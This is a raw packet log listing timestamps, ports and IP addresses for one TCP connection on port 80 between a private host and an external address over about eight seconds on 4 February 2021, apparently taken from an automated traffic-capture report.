Feb 4, 2021 09:55:39.196105957 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.196109056 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.196166992 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.392919064 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393003941 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393058062 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393105984 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393162966 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393222094 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393243074 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.393275976 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393276930 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.393281937 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.393284082 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.393316984 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.393327951 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.393335104 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393376112 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.393436909 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.393464088 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.393501997 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.590223074 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.590253115 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.590302944 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.590320110 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.590331078 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.590365887 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.590388060 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.590395927 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.590399981 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.590415955 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.590455055 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.590471029 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.590487957 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.590512037 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.590527058 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.590542078 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.789984941 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790011883 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790029049 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790044069 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790065050 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790082932 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790100098 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790116072 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790132046 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.790324926 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.791637897 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.792078018 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.987241030 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.987293959 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.987334967 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.987373114 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.987411022 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.987523079 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.987590075 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.987597942 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.988246918 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.988290071 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.988315105 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.988327980 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.988332987 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.988367081 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:39.988369942 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.988401890 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:39.988435984 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.185822964 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.185874939 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.185914993 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.185951948 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.185949087 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.185991049 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.185992956 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.185998917 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.186029911 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.186043024 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.186081886 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.186084032 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.186095953 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.186157942 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.187114954 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.382905960 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.382962942 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.383002996 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.383044004 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.383122921 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.383162975 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.383166075 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.383167028 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.383172035 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.383210897 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.383232117 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.383290052 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.580106974 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.580168009 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.580205917 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.580245972 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.580284119 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.580331087 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.580374002 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.580486059 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.580554962 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.580563068 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.580568075 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.580571890 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.580576897 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.580580950 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.777556896 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.777614117 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.777642965 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.777673960 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.777712107 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.777834892 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.777880907 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.777884007 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.780303955 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:40.974905014 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.974936008 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.974948883 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.974965096 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.974981070 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.974997997 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:40.975176096 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.171962976 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.171994925 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.173461914 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.173482895 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.173499107 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.173557043 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.173604965 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.173609972 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.173613071 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.370486975 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.370549917 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.370594978 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.370632887 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.370671988 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.370711088 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.370759010 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.370805025 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.370807886 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.370810032 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.370810986 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.370836973 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.567846060 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.567910910 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.567950010 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.567987919 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.568195105 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.571456909 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.765134096 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.765167952 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.765191078 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.765214920 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.765228033 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.765263081 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.765265942 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:41.961962938 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.961987972 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.961999893 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.962016106 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:41.962121964 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.158958912 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.158992052 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.159010887 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.159029007 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.159044981 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.159061909 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.159080029 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.159126997 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.159131050 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.355712891 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.355887890 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.356026888 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.356069088 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.356101036 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.356101036 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.356126070 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.356131077 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.356161118 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.356173992 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.552664995 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.552695990 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.552764893 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.552836895 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.552859068 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.552886009 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.552911043 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.552941084 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.749459982 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.749490976 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.749509096 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.749670982 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.947405100 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.947458982 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.947499037 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:42.947609901 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:42.947664022 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.144402981 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.144438028 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.144498110 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.144526005 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.144608974 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.144654989 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.144661903 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.144665956 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.341607094 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.341662884 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.341936111 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.341986895 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.539343119 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.539398909 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.539431095 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.539684057 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.544003010 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.544017076 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.736601114 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.736805916 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.740709066 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.740762949 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.740912914 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.740961075 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.937724113 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.937764883 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.937792063 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:43.937828064 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.937868118 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:43.939985991 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:44.135780096 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.135919094 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:44.332891941 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.333214045 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:44.529926062 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.530148029 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:44.535495996 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.535667896 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:44.732525110 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.732556105 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.732577085 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.732609034 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:44.732655048 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:44.929478884 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.929667950 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:44.930901051 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.930918932 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:44.931019068 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.126220942 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.126245975 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.126385927 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.127568960 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.127587080 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.127635002 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.322983027 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.323007107 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.323250055 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.324076891 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.324098110 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.324165106 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.520072937 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.520098925 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.520503044 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.520756960 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.520777941 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.520823002 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.717319012 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.717348099 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.717377901 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.717406034 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.717536926 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.717586994 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.914578915 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.914608002 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.914623022 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.914803028 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.914853096 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.914856911 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.915337086 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.915354967 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:45.915477037 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:45.915494919 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.111500978 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.111563921 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.111648083 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.111706972 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.111963034 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.112087965 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.112193108 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.112246990 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.308305025 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.308363914 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.308418989 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.308449984 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.310105085 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.310126066 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.310193062 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.505230904 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.505255938 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.505449057 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.506738901 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.506757975 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.506819963 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.702050924 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.702076912 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.702127934 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.702161074 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.703310013 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.703345060 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.703357935 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.703366041 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.703387022 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.703387976 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.703402042 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.703445911 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.899106026 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.899138927 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.899307966 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.900069952 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.900094032 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.900113106 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:46.900150061 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:46.900167942 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.097719908 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.097771883 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.097804070 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.097855091 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.098109961 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.098181963 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.098154068 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.098239899 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.098308086 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.098357916 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.294704914 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.294764996 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.294795036 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.294873953 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.294924974 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.294929028 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.294991970 CET	80	49165	43.252.37.193	192.168.2.22
Feb 4, 2021 09:55:47.295042038 CET	49165	80	192.168.2.22	43.252.37.193
Feb 4, 2021 09:55:47.492969990 CET	80	49165	43.252.37.193	192.168.2.22
